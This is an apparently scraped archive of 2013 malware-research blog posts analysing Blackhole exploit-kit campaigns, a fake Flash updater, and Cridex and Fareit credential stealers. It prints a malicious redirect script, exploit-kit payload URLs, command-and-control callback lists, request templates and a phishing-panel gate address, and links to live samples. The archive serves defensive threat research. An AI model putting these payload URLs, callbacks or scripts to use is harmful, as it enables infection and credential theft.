[/* 21 vars */]) = 0
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++
Blocking below libs from unknown usage willl help:
/usr/lib/libbdl.so.0
/usr/lib/libm.so.6
/usr/lib/libc.so.6
Blocking unknown user access to this path will help:
/proc
/proc/%s/comm
/var/run/utmp
GLIBC version used to run malware module (to block):
    0x09691f73 0x00 07 GLIBC_2.1.3
0x0d696911 0x00 06 GLIBC_2.1
0x0d696914 0x00 05 GLIBC_2.4
0x09691974 0x00 04 GLIBC_2.3.4
0x0d696913 0x00 03 GLIBC_2.3
0x0d696910 0x00 02 GLIBC_2.0
Encoding used:
base64decode
base64encode
to_hex
urlencode
xor_decrypt_string
xor_encrypt
xor_encrypt_string
Reversing Notes: Disassembly of malware functions is--> here. Complete disassembly of malware module is--> here.

Samples

For raising the AV's detection ratio and research, we are sharing the samples --> here.

Credits

Thank you to the wonderful individuals who help us in detection, analysis, cooperation for current threat handling: @kafeine - without him infection will be wide-spread. Denis Sinegubko of Unmask Parasites who wrote good facts of the threat from beginning! jvoisin - without this genious young man I will stuck in reversing the XOR'ed string Denis Laskov - good analysis for malware module's cookie scheme for infection Jim Kesselring - the MMD "Razor" to shut all US based infection Eric Romang - your related report helped a lot, specially NGNIX part, you know that? :-) David Harley - for the clarification of Linux/Chapro facts To all MalwareMustDie members & supporters involved in this investigation, This post is dedicated to sleepless hundreds admins who did great job in removing malwares, reinstalling and re-tuning their website due to this incident.
#MalwareMustDie!

Thứ Sáu, 15 tháng 3, 2013

I know this isn't a surprise anymore, but it still annoys the hell out of me.

Whilst following a malware trail, I found 3 more examples of misleading marketing. One of them on depositfiles.com, and 2 of them on zippyshare.com. In all 3 cases, the route went through adsmarket.com (also not a surprise).

First we have a fake flash player. This was loaded by;

hxxp://www76.zippyshare.com/pop.jsp?a=

Thứ Năm, 7 tháng 3, 2013

This story is all started from an EK landing page at:
"h00p://17.247nycr.com/news/breaks-harmless.php"
in the IP: 173.246.102.2At the below network registration:
NetRange:       173.246.96.0 - 173.246.111.255
CIDR: 173.246.96.0/20
OriginAS: AS29169
NetName: GANDI-NET-DC1-1
NetHandle: NET-173-246-96-0-1
Parent: NET-173-0-0-0-0
NetType: Direct Allocation
Comment: http://www.gandi.net/
RegDate: 2010-06-18
Updated: 2012-02-24
Ref: http://whois.arin.net/rest/net/NET-173-246-96-0-1
OrgName: Gandi US Inc.
OrgId: GANDI-2
Address: Gandi US Inc.
Address: PO Box 32863
City: Baltimore
StateProv: MD
PostalCode: 21282
Country: US
RegDate: 2010-05-20
Updated: 2010-06-24
Comment: Gandi is an ICANN accredited registrar and VPS/Cloud hosting provider with operations in France, UK, and the United States.
Comment: http://www.gandi.net/
Ref: http://whois.arin.net/rest/org/GANDI-2
It has an NEW UPDATED infections in these URL here-->>[UrlQuery]At the below IP:
174.140.167.197
173.246.102.250
173.255.215.242 "(killed)"
173.246.102.2
50.116.11.176
184.154.70.115
↑The GeoIP result is↓ Which I checked it further to find a Blackhole Exploit Kit:
Server: nginx/0.7.67
Date: Thu, 07 Mar 2013 11:19:07 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.3.14-1~dotdeb.0
As a reference infector(URL)-->>[urlquery.net]And a long list of historical reports of same IP-->>[urlquery.net]
For the blackhole exploit kit configuration itself, it is a better tuned one, more than one tries thus requesting with bad parameters will get us an 502 or 404, shortly, if you put everything right as per our guide -->>[here], you'll get yourself a usual BHEK payload download url as below:
"h00p://17.247nycr.com/news/breaks-harmless.php?df=1m:1o:1g:1g:31&xe=1n:1m:1o:1g:1o:33:33:1k:31:1o&y=1f&fl=c&eh=q&jopa=6435338"

..And the downloaded payload is as per show in URLQuery snapshot here-->http://urlquery.net/report.php?id=1268751
↑The details of decoding payload of BHEK was covered many times in our previous posts so forgive me for not going to discuss it here.. But I'll go to the next "important" part..

I received a separate report by "a friend" about an active end of TDS and another separated report of Spam destination pointed to the same infector server BUT with the different domain name as per below URL:

"h00p://17.optimax-fuel-saver.us/adobe/"
Yes, both routes are having same destination IP: 173.246.102.2 and in overall this infection is the double routes scheme of TDS/Spam combined with blackhole to infect a payload < This is the main point of this post.

The Fake Adobe download page looks like below (looks lame isn't it?):
A view via Internet Explorer: A view via Mozilla Firefox:(sorry for the japanese browsers I used..)

which is having a redirect script is as per below:

// Evil script in Line 139:
:
<script language = 'javascript'>
var delay = 3000;
setTimeout("document.location.href='update_flash_player.exe'", delay);
</script>
If we follow this.. you'll get the payload url: a fake flash player updater:
--2013-03-07 15:58:47--  
"h00p://17.optimax-fuel-saver.us/adobe/update_flash_player.exe"
Resolving 17.optimax-fuel-saver.us... seconds 0.00, "173.246.102.2"
Caching 17.optimax-fuel-saver.us => "173.246.102.2"
Connecting to 17."optimax-fuel-saver.us"|"173.246.102.2|:80"... seconds 0.00, connected.
"GET /adobe/update_flash_player.exe HTTP/1.0
Referer: h00p://17.247nycr.com/news/breaks-harmless.php
Host: 17.optimax-fuel-saver.us"
HTTP request sent, awaiting response...
:
HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 07 Mar 2013 06:57:52 GMT
Content-Type: application/octet-stream
Connection: keep-alive
Content-Length: 136704
Last-Modified: Thu, 07 Mar 2013 06:55:01 GMT
Accept-Ranges: bytes
200 OK
Registered socket 1896 for persistent reuse.
Length: 136704 (134K) [application/octet-stream]
Saving to: `update_flash_player.exe'
2013-03-07 15:58:52 (44.6 KB/s) - `update_flash_player.exe' saved [136704/136704]

You'll see safely the snapshot of this payload here-->>[URLQuery]

"What is with this payload? Why the double-routes infection scheme is so necessary?"These questions will be answered by studying the payloads as follows:

Payload: Fake Adobe Flash Updater

The bad guys are utilizing Adobe Flash Updates season to release this fake updater together with the lame Adobe home page. The payload binary looks like below:


// File Information:
Sections:
.text 0x1000 0x13b0 5120
.rdata 0x3000 0xc0c 3584
.data 0x4000 0xa0a 3072
.rsrc 0x5000 0x1e2ac 123904

File Size : 136 KB
Entry Point: 0x1174
Compile Time: "2013-01-24 03:07:22
0x510026DA [Wed Jan 23 18:07:22 2013 UTC]"
CRC Fail. Claimed: 0, Actual: 201663

//Anti-reverse:
0x401174 mov eax esi
0x401176 add esi 0x403110
0x401178 sub esi 0x6d
0x40117e mov esi [si-0x1]
0x401181 push 0x55
0x401184 shl esi 0xc
0x401186 pop ecx
0x401189 shl esi 0x4
0x40118a add eax esi
0x40118d add eax 0x8f
0x40118f mov edx [eax+ecx2+0x2]
0x401192 shr edx 0x8
0x401196 add esi edx
0x401199 mov ecx [si+0x1d]
0x40119b sub cl 0x0
0x40119e jz 0x4011c6L
0x4011a1 mov dl 0x1c
0x4011a3 cmp cl dl
0x4011a5 jb 0x4011bdL
0x4011a7 mov dl 0xc0
0x4011a9 cmp cl dl
0x4011ab nop "
0x4011ad ja 0x4011bdL
0x4011ae mov r15d 0x404000
0x4011b0 xor eax eax
0x4011b5 jz 0x4010d0L
0x4011b7 xor eax eax
0x4011bd mov [fs:ax] esp "
0x4011bf nop
0x4011c2 pushad
0x4011c3 jmp near 0x4011bdL
0x4011c4 xor eax eax
0x4011bd mov [fs:ax] esp
0x4011bf nop
: : //loops..
↑the binary itself is encoded with a packer - with utilize using anti-reverse loops to avoid us getting the - imports data. Suggesting this wasn't a work of automation. Packer information:
"aPLib v1.01"  -  the smaller the better :)
Copyright (c) 1998-2009 by Joergen Ibsen, All Rights Reserved.
More information: "http://www.ibsensoftware.com/"
hex of the 1st block:
0000   4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00    MZ..............
0010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 FF 00 00 00 7C 00 00 00 ............|...
0040 BC 10 00 0E 1F B4 09 CD 21 B8 01 4C CD 21 90 90 ........!..L.!..
0050 54 68 69 73 20 70 72 6F 67 72 61 6D 20 6D 75 73 This program mus
0060 74 20 62 65 20 72 75 6E 20 75 6E 64 65 72 20 57 t be run under W
0070 69 6E 33 32 0D 0A 24 37 00 00 00 00 50 45 00 00 in32..$7....PE..
0080 4C 01 04 00 DA 26 00 51 00 00 00 00 00 00 00 00 L....&.Q........
0090 E0 00 0F 01 0B 01 0C 00 00 14 00 00 00 FE 01 00 ................
00A0 00 00 00 00 74 11 00 00 00 10 00 00 00 30 00 00 ....t........0..
00B0 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 ..@.............
00C0 00 00 00 00 04 00 00 00 00 00 00 00 00 40 02 00 .............@..
00D0 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 .................
: : :
The picture of binary is like this: ↑Well, it looks convincing... ..except..if you run it you'll see the "different" works as per below: The below are the overall summary of this infection: 1. The malware runs connect to these remote hosts:
"h00p://64.13.172.42:8080/forum/viewtopic.php
h00p://20.anythinginternational.biz/forum/viewtopic.php
h00p://20.anythinginternational.com/forum/viewtopic.php
h00p://20.chelsiamd.com/forum/viewtopic.php
"
2. Which sending the HTTP/1.1 POST i.e.: 3. And then send request to download OTHER malware to:
"h00p://kfz-youngtimerservice.de/P81.exe
h00p://mtmedia.net/tJr4H.exe
h00p://cinemacityhu.iq.pl/iN5Vf.exe
"
PoC: 4. The downloaded file was saved in %Temp%: 5. With little help of evil BAT file the payload was saved in %AppData% as random DLL: 6. The %AppData% saved DLL was executed via RUNDLL32.EXE, after running and it made changes in the registry:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\uping: 
"rundll32.exe "C:\Documents and Settings\rik\Application Data\uping.dll",AAuxClose"
7. And executed iexplorer.exe with the "-Embedding" option 8. Then via iexplore.exe it started next series of malware download from megaupload.com: 9. And also some malform UDP/137 request sent: What is the purpose of the POST request? Yes friends, is to steal credentials. The below information are aimed to be stolen by ths malware:
My Documents
AppData
Local AppData
Cache
Cookies
History
My Documents
Common AppData
My Pictures
Common Documents
Common Administrative Tools
Administrative Tools
Personal
Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
:
PLUS MORE credentials of this software list -->>[PASTEBIN]

How bad are these malicious stuffs?

The above data concluded that the Fake Flash Updater is a Trojan PWS Win32/Fareit variant (this verdict is judged by seeing the list of data grabber, the usage of particular packer and binary cryptic, and the header HTTP/1.0 used) see the definition in here too-->>[Microsoft], and the first downloaded binary malware, a "fake" DLL is the variant of Trojan Downloader Win32/Medfos is a malware downloader to download other malware implented in the various free-download sites (in our case is megaupload.com), with the reference here -->>[Microsoft]

What's the purpose of this IP's infection then?

The purpose is to grab as much's victim's credentials by using front end infection of Fake Software Updater. Just like the pages with url we saw, there are so many other Fake Updaters is served under other IPs too, and they are all using typical bogus url of http://[2digitnumber].[fakebrowser-bogus-strings].com/[adobe|chrome|other updater possibilities]/ which is suggested the same cryber crime group action, for example as per found in IP: 173.255.215.242 by our friend @hugbomb here:

Fake Adobe Flash Player Updates for Chrome:

Fake Google Chrome Update

The currently active domains pointed to IP used by this Criminal Group: 173.255.215.242 and 173.246.102.2 are strongly suggested to be blocked, i.e. below list:

To IP: 173.246.102.2

17.247nycr.com
17.ir-c.net
17.optimax-fuel-saver.us
17.schnoescpa.com
17.setapartcreative.com
. :
To IP: 173.255.215.242
20.phccofcalifornia.com  
20.chelsiamd.com
20.mallcoimbatore.com
20.anythinginternational.com
20.phcccontractor.com
20.phcccontractors.com
20.anythingindian.co
20.anythinginternational.biz
PS: Please use the complete list made by Mr. Conrad Longmore here-->>[Dynamoo Blog]
With noted that the domains is changed frequently, to nail this scheme perfectly you will need to understand how they use the domain ragistration as per below details:
// lookup optimax-fuel-saver.us
17.optimax-fuel-saver.us internet address = 173.246.102.2
optimax-fuel-saver.us nameserver = "ns07.domaincontrol.com"
optimax-fuel-saver.us nameserver = "ns08.domaincontrol.com"
optimax-fuel-saver.us
primary name server = ns07.domaincontrol.com
responsible mail addr = dns.jomax.net
serial = 2013030500
refresh = 28800 (8 hours)
retry = 7200 (2 hours)
expire = 604800 (7 days)
default TTL = 3600 (1 hour)
//whois
Domain Name: OPTIMAX-FUEL-SAVER.US
Domain ID: D36373111-US
Sponsoring Registrar: "GODADDY.COM, INC."
Sponsoring Registrar IANA ID: 146
Registrant ID: CR115585728
Created by Registrar: GODADDY.COM, INC.
Last Updated by Registrar: GODADDY.COM, INC.
Domain Registration Date: Sun Jun 10 01:03:54 GMT 2012
Domain Expiration Date: Sun Jun 09 23:59:59 GMT 2013
Domain Last Updated Date: Sun Jun 10 01:03:55 GMT 2012

// lookup phccpro.com
20.phccpro.com internet address = 173.255.215.242
phccpro.com nameserver = "ns37.domaincontrol.com"
phccpro.com nameserver = "ns38.domaincontrol.com"
primary name server = "ns37.domaincontrol.com"
responsible mail addr = dns.jomax.net
serial = 2013030600
refresh = 28800 (8 hours)
retry = 7200 (2 hours)
expire = 604800 (7 days)
default TTL = 3600 (1 hour)

//whois it?
Domain Name: PHCCPRO.COM
Registrar: "GODADDY.COM, LLC"
Whois Server: whois.godaddy.com
Referral URL: http://registrar.godaddy.com
Name Server: NS37.DOMAINCONTROL.COM
Name Server: NS38.DOMAINCONTROL.COM
Status: clientDeleteProhibited
Status: clientRenewProhibited
Status: clientTransferProhibited
Status: clientUpdateProhibited
Updated Date: 15-apr-2011
Creation Date: 20-jun-2009
Expiration Date: 20-jun-2013<

//lookup 17.setapartcreative.com
17.setapartcreative.com internet address = 173.246.102.2
setapartcreative.com nameserver = ns07.domaincontrol.com
setapartcreative.com nameserver = ns08.domaincontrol.com
setapartcreative.com
primary name server = ns07.domaincontrol.com
responsible mail addr = dns.jomax.net
serial = 2013030400
refresh = 28800 (8 hours)
retry = 7200 (2 hours)
expire = 604800 (7 days)
default TTL = 3600 (1 hour)
//whois:
Domain Name: SETAPARTCREATIVE.COM
Registrar: "GODADDY.COM, LLC"
Whois Server: whois.godaddy.com
Referral URL: http://registrar.godaddy.com
Name Server: "NS07.DOMAINCONTROL.COM"
Name Server: "NS08.DOMAINCONTROL.COM"
Status: clientDeleteProhibited
Status: clientRenewProhibited
Status: clientTransferProhibited
Status: clientUpdateProhibited
Updated Date: 04-feb-2013
Creation Date: 03-feb-2009
Expiration Date: 03-feb-2014

If you see what I see, the malware moronz' group is serving malware domains by the pattern of using GoDaddy registrar with DOMAINCONTROL.COM DNS of the legit domains which is somehow hacked, these domains are used by adding the numerical subdomains through its DNS to be used as infectors. Don't ask me how the crime group can gain of control of these domains, which could be procedural or technicality leaks.. This matter is to be strongly noted to GoDaddy (Registrar), DomainControl (DNS provider) and furthermore in higher authority is ICANN to be aware of this malicious scheme.

Samples


Virus Total Detection of Trojan/Fareit-->>[URL], summary:
SHA1: 1e9769c652e94af4b0accc42da643a1c00021b30
MD5: a1545b09716f6036739daafa003649a1
File size: 133.5 KB ( 136704 bytes )
File name: update_flash_player.exe
File type: Win32 EXE
Tags: peexe
Detection ratio: 17 / 46
Analysis date: 2013-03-07 12:07:28 UTC ( 2 hours, 8 minutes ago )

F-Secure : Trojan.FakeAlert.DFX
F-Prot : W32/SuspPack.EX2.gen!Eldorado
Symantec : Suspicious.Cloud
ESET-NOD32 : a variant of Win32/Kryptik.AWDG
MicroWorld-eScan : Trojan.FakeAlert.DFX
Avast : Win32:LockScreen-SL [Trj]
nProtect : Trojan.FakeAlert.DFX
CAT-QuickHeal : (Suspicious) - DNAScan
Kaspersky : HEUR:Trojan.Win32.Generic
BitDefender : Trojan.FakeAlert.DFX
McAfee : BackDoor-FJW
Malwarebytes : Malware.Packer.SGX2
Fortinet : W32/Kryptik.KZ!tr
GData : Trojan.FakeAlert.DFX
PCTools : HeurEngine.ZeroDayThreat
Sophos : Troj/Zbot-ECS
Comodo : Heur.Packed.Unknown
Virus Total Detection of Trojan Medfos-->>[URL], summary:
SHA1: fbc141e3c155b809298f53336c583697a209e567
MD5: 68db8dfe21ffa72982402fef5ef48c14
File size: 145.0 KB ( 148480 bytes )
File name: int.EXE
File type: Win32 EXE
Tags: peexe
Detection ratio: 13 / 46
Analysis date: 2013-03-07 10:41:05 UTC ( 3 hours, 37 minutes ago )

F-Secure : Gen:Variant.Zusy.38855
GData : Gen:Variant.Zusy.38855
Norman : Medfos.BO
ESET-NOD32 : a variant of Win32/Medfos.LL
MicroWorld-eScan : Gen:Variant.Zusy.38855
Sophos : Mal/Medfos-M
Kaspersky : HEUR:Trojan.Win32.Generic
BitDefender : Gen:Variant.Zusy.38855
Malwarebytes : Trojan.Medfos
Panda : Suspicious file
Fortinet : W32/Medfos.KG!tr
PCTools : HeurEngine.ZeroDayThreat
Microsoft : Trojan:Win32/Medfos.A
And the samples download for research purpose.. ..is here--->>[MEDIAFIRE]And these are PCAP data I recorded-->>[HERE]*) Please feel free to contact us by twitter for more research materials :-)
#MalwareMustDie! The NPO of Engineers who care of security | http://www.malwaremustdie.org

Thứ Ba, 5 tháng 3, 2013


*) This is my last post for this infection, FYI: we went far too long trying to keep things right..

Today we detected malware infection campaign created by the same bad actors we always follow. The below URL was setup for Password/Credential stealer (PWS) Trojan via spam email as per reported in fellow researcher's Mr. Conrad Longmore in "Dynamoo Blog" posts→[here] and [here]:

h00p://forumla.ru:8080/forum/links/column.php
h00p://forumny.ru:8080/forum/links/column.php
h00p://forum-ny.ru:8080/forum/links/column.php
h00p://forum-la.ru:8080/forum/links/column.php
h00p://foruminanki.ru:8080/forum/links/column.php
h00p://forumilllionois.ru:8080/forum/links/column.php
h00p://210.71.250.131:8080/forum/links/column.php
h00p://198.104.62.49:8080/forum/links/column.php

These URL lead us to the two IP addresses serving Blackhole Exploit Kit below:

198.104.62.49
210.71.250.131

Which both IP are serving the same malware (see the snapshot below):

We are not going to include the Blackhole Exploit Analysis nor decoding here, and will focus on the analysis of the recent version credential stealer used. With noted: Our previous released guide→[here] to decode BHEK can be applied to decode all of the exploit components.

The CyberCriminal group itself is utilizing Russian-based .RU registrar called NAUNET(.RU), which nowadays quite famous for its reputation in "keep-on-allowing" registration of malicious domains in east Europe basis to aim worldwide servers as infectors and preying on American & European online banking information. The details of previous malicious domains used by this criminal group served by NAUNET can be seen in our previous post→[here].


Same samples in both IPs..


This is my log while fetching the first and second samples:
GET /forum/links/column.php?sf=2w:1l:1l:2v:1f&he=2v:1k:1m:32:33:1k:1k:31:1j:1o&s=1k&ru=w&cz=p HTTP/1.0
Host: 198.104.62.49:8080
HTTP request sent, awaiting response...
:
HTTP/1.1 200 OK
Server: nginx/1.0.4
Date: Tue, 05 Mar 2013 08:21:29 GMT
Content-Type: application/x-msdownload
Connection: keep-alive
X-Powered-By: PHP/5.3.18-1~dotdeb.0
Pragma: public
Expires: Tue, 05 Mar 2013 08:21:30 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Cache-Control: private
Content-Disposition: attachment; filename="about.exe"
Content-Transfer-Encoding: binary
Content-Length: 110592
200 OK
Length: 110592 (108K) [application/x-msdownload]
Saving to: `about1.exe'
2013-03-05 17:21:54 (47.6 KB/s) - `about1.exe' saved [110592/110592]
and
GET /forum/links/column.php?of=1o:1h:32:1l:1j&me=2v:1k:1m:32:33:1k:1k:31:1j:1o&n=1k&qo=q&yy=b HTTP/1.0
Host: 210.71.250.131:8080
HTTP request sent, awaiting response...
:
HTTP/1.1 200 OK
Server: nginx/1.0.10
Date: Tue, 05 Mar 2013 08:32:02 GMT
Content-Type: application/x-msdownload
Connection: keep-alive
X-Powered-By: PHP/5.3.18-1~dotdeb.0
Pragma: public
Expires: Tue, 05 Mar 2013 08:32:20 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Cache-Control: private
Content-Disposition: attachment; filename="about.exe"
Content-Transfer-Encoding: binary
Content-Length: 110592
200 OK
Length: 110592 (108K) [application/x-msdownload]
Saving to: `about2.exe'
2013-03-05 17:32:43 (109 KB/s) - `about2.exe' saved [110592/110592]
Compare result of the binaries:
2013/03/05  17:21  110,592 about1.exe 612b6e43fd5e5933ea072d5df501790a
2013/03/05 17:32 110,592 about2.exe 612b6e43fd5e5933ea072d5df501790a

The samples looks like this..

Picture snapshot: Which is having the below binary information:
Entry Point at 0x15d1
Virtual Address is 0x4015d1
Compile Time: 0x42973D89 [Fri May 27 15:32:25 2005 UTC] / 2005-05-28 00:32:25
CRC checks: Looks fine!

Sections:
.text 0x1000 0x15c14 90112
.data 0x17000 0x100370 4096
.rsrc 0x118000 0x2408 12288

Hex first block snips..
0000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ..............
0010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 00 ................
0040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ........!..L.!Th
0050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
0060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
0070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$.......
0080 31 90 0E 35 75 F1 60 66 75 F1 60 66 75 F1 60 66 1..5u.`fu.`fu.`f
0090 52 37 0D 66 76 F1 60 66 52 37 1D 66 67 F1 60 66 R7.fv.`fR7.fg.`f
00A0 52 37 11 66 8B F1 60 66 52 37 1C 66 74 F1 60 66 R7.f..`fR7.ft.`f
00B0 52 37 18 66 74 F1 60 66 52 69 63 68 75 F1 60 66 R7.ft.`fRichu.`f
00C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00E0 50 45 00 00 4C 01 03 00 89 3D 97 42 00 00 00 00 PE..L....=.B....
As per picture showed, it tried to fake Microsoft application:
LegalCopyright: \xa9 Microsoft Corporation. All rights reserved.
InternalName: rigpsnap.dll
FileVersion: 6.0.6000.16386 (vista_rtm.061101-2205)
CompanyName: Microsoft Corporation
ProductName: Microsoft\xae Windows\xae Operating System
ProductVersion: 6.0.6000.16386
FileDescription: Remote Installation Service Policy Snap-in
OriginalFilename: rigpsnap.dll

Infection Summary

Malware runs CMD to move original location & delete initial trace: While the Cridex trojan is saved to %AppData%\KB********.exe Cridex will be run by injected in memory then dropped a Trojan Fareit stealer in %Temp%\exp2.tmp.exe: During Cridex runs it will download configuration data to be saved in registry key as binary: We must view it in ASCII to see what it is.. as per below snapshot.. To be loaded & processedin memory as per snapshot (Cridex parts) For Trojan Fareit part, this variant is NOT using the config: But using the original stealer scheme planted in its binary..
In this variant, Trojan Win32/Cridex will make a time/delay before runs usual operation to fetch credential and communicating to motherships, and instantly shutdown after running the trojan stealer Win32/Fareit (and this time is one or two times executed..). Win32/Fareit itself will stay reside in memory until PC shutdown.

The autorun in registry was set in the usual place:

HKU\..\Software\Microsoft\Windows\CurrentVersion\Run\KB00777165.exe: 
""C:\Documents and Settings\rik\Application Data\KB00777165.exe""
which makes this set of trojans will run again (autostart) in every PC starts.

Which IP are they use as callbacks this time?

Cridex used:
h00p://209.17.186.246:8080
h00p://203.171.234.53:8080
h00p://64.85.53.168:8080
h00p://161.246.35.117:8080
h00p://202.29.5.195:8080
h00p://213.214.74.5:8080
h00p://174.121.67.199:8080
h00p://174.143.234.138:8080
h00p://18.79.3.253:8080
h00p://141.219.153.206:8080
h00p://72.251.206.90:8080
h00p://149.156.96.9:8080
h00p://212.68.63.82:8080
h00p://88.119.156.20:8080
h00p://91.199.155.222:8080
h00p://194.249.217.8:8080
h00p://109.168.106.162:8080
h00p://85.214.143.90:8080
h00p://195.191.22.97:8080
h00p://188.138.96.241:8080
h00p://31.3.103.101:8080
h00p://213.251.164.83:8080
h00p://82.100.228.130:8080
h00p://194.97.99.120:8080
h00p://78.47.153.131:8080
...with the url:
/N5nmLCAAA(random)/LxcqKAA(random)/GLkOVCAAAA(random)/ HTTP/1.1
With the HTTP header like below:
POST /N5nmLCAAA/LxcqKAA/GLkOVCAAAA/ HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)
Host: x.x.x.x:8080
Content-Length: %n
Connection: Keep-Alive
Cache-Control: no-cache

Fareit used callbacks to below hosts/URL (HTTP/1.0)

h00p://203.114.112.156:8080/asp/intro.php
h00p://42.121.116.38:8080/asp/intro.php
h00p://203.146.208.180:8080/asp/intro.php
h00p://110.164.58.250:8080/asp/intro.php
h00p://85.25.147.73:8080/asp/intro.php
h00p://208.87.243.130:8080/asp/intro.php
h00p://202.164.211.51:8080/asp/intro.php
h00p://111.68.142.223:8080/asp/intro.php
h00p://203.172.252.26:8080/asp/intro.php
h00p://195.24.205.188:8080/asp/intro.php
With the HTTP header like below:
POST %s HTTP/1.0
Host: %s
Accept: */*
Accept-Encoding: identity, *;q=0
Content-Length: %lu
Connection: close
Content-Type: application/octet-stream
Content-Encoding: binary
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
Content-Length:
Location:
HWID
{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}
Phished credentials are sent to 37.139.47.124:
var adminPanelLocation = 'h00p://37.139.47.124/_CRE_/';
[CDATA[h00p://37.139.47.124/_CP_/cp_a.php?h=8
h00p://37.139.47.124/_CRE_/gate.php?done=1&bid=%USER%-1379CF37C25_9455E50D0B2D20CB&info=[random]
h00p://37.139.47.124/_CRE_/gate.php?bid=%USER%-1379CF37C25_9455E50D0B2D20CB&location=[random]

Hey hold on, what's the evidence?

(Click the number to download the materials below)
For the callbacks I recorded below set of PCAPs:
[1] First infection
[2] Re-producing the first session infection (different env)
[3] Trojan Win32/Cridex traffic captured over interval
[4] Trojan Win32/Fareit traffic captured over interval

For the registry record:
[1] First infection
[2] Re-producing the first infection first session (different env)

For the process runtime record:
[1] Trojan Win32/Cridex Full Process Trace
[2] Trojan Win32/Fareit Full Process Trace

Stolen Credential Information:
Here's the config file with the beautified format -->>[HERE]
The Trojan Win32/Fareit grabbed credential list -->>[HERE]

In Virus Total


I really took time in analysing & writing this report, yet there are so
many details I cannot expose for the security purpose.
I hope VT has the good detection now:

Trojan Win32/Cridex - VT URL -->>[HERE]
SHA1: 531923a72560d723ed764bf3618633dc541b56f9
MD5: 612b6e43fd5e5933ea072d5df501790a
File size: 108.0 KB ( 110592 bytes )
File name: rigpsnap.dll
File type: Win32 EXE
Tags: peexe
Detection ratio: 17 / 46
Analysis date: 2013-03-05 13:58:09 UTC ( 3 minutes ago )
File ./about.exe with MD5 612b6e43fd5e5933ea072d5df501790a
----------------------------------------------------------
DrWeb : Trojan.Necurs.97
VIPRE : Win32.Malware!Drop
Symantec : WS.Reputation.1
TrendMicro : WORM_CRIDEX.UWA
ESET-NOD32 : a variant of Win32/Kryptik.AVXR
Fortinet : W32/Kryptik.ALRY!tr
TrendMicro-HouseCall : WORM_CRIDEX.UWA
Sophos : Mal/Generic-S
Ikarus : Trojan.Win32.Bublik
Kaspersky : Trojan.Win32.Bublik.ahqz
PCTools : Suspicious.Cloud.7.L
Malwarebytes : Trojan.FakeMS
Panda : Trj/dtcontx.C
Kingsoft : Win32.Troj.Bublik.ah.(kcloud)
AntiVir : TR/Bublik.ahqz
Emsisoft : Trojan.Win32.Bublik.ahqz.AMN (A)
Comodo : TrojWare.Win32.Trojan.Agent.Gen
Trojan Stealer Win32/Fareit - VT URL -->>[HERE]
SHA1: f994fbf2663ef2b9b0347f42e057bd03ed0dcefe
MD5: a25bb86368cf2e62de4f8f25b8e0824a
File size: 104.0 KB ( 106496 bytes )
File name: rigpsnap.dll
File type: Win32 EXE
Tags: peexe
Detection ratio: 7 / 46
Analysis date: 2013-03-05 13:58:42 UTC ( 4 minutes ago )
File ./exp2.tmp.exe with MD5 a25bb86368cf2e62de4f8f25b8e0824a
-------------------------------------------------------------
Symantec : WS.Reputation.1
ESET-NOD32 : a variant of Win32/Kryptik.AVXR
TrendMicro-HouseCall : TROJ_GEN.F47V0305
Kaspersky : Trojan-PSW.Win32.Tepfer.groi
PCTools : Suspicious.Cloud.7.L
Malwarebytes : Trojan.FakeMS
Fortinet : W32/Kryptik.ALRY!tr

Samples

For the research & raising detection ratio purpose we are sharing the analyzed samples: Download here -->>[HERE]

Additional Section

*) This section is to be added with additional information periodically. The below new detection also noted: ・This cridex variant was detecting whether the infected PC is 64bit or not.. ・Many new additionals cookies & etc function in the config file.. ・For the NAUNET Registrar relation PoC to these domains is here -->>[HERE]・Until now, we analyzed 25 times for this cybercrime group, 1 dir = 1 analysis↓
#MalwareMustDie! The NPO.

Thứ Hai, 4 tháng 3, 2013

Just a note folks, the vURL server will be offline for another hour or two, to allow for essential maintenance.

Sites affected:

vurldissect.co.uk
apk.it-mate.co.uk
avant.it-mate.co.uk
bartware.it-mate.co.uk
bughunter.it-mate.co.uk
dnsbh.it-mate.co.uk
hostsman.it-mate.co.uk
naomi.it-mate.co.uk
support.it-mate.co.uk
temp.it-mate.co.uk
helenbenoist.co.uk
ashsofdev.tk
8gc.com

Sorry for the